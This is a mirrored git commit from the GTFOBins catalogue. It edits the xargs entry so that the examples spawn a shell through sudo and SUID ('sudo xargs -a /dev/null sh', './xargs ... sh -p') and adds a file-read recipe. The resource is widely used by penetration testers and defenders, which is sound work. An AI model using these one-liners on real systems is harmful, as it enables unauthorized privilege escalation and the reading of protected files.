mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Make xargs execute-interactive
This commit is contained in:
parent
7c0fa85a66
commit
ab62d024b1
@ -1,14 +1,17 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- code: xargs -a /dev/null /usr/bin/id
|
||||
execute-interactive:
|
||||
- description: GNU version only.
|
||||
code: xargs -a /dev/null sh
|
||||
file-read:
|
||||
- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
|
||||
code: |
|
||||
LFILE=file_to_read
|
||||
xargs -a "$LFILE" -0
|
||||
suid-enabled:
|
||||
- code: ./xargs -a /dev/null /usr/bin/id
|
||||
- description: GNU version only.
|
||||
code: ./xargs -a /dev/null sh -p
|
||||
sudo-enabled:
|
||||
- code: sudo xargs -a /dev/null /usr/bin/id
|
||||
- description: GNU version only.
|
||||
code: sudo xargs -a /dev/null sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user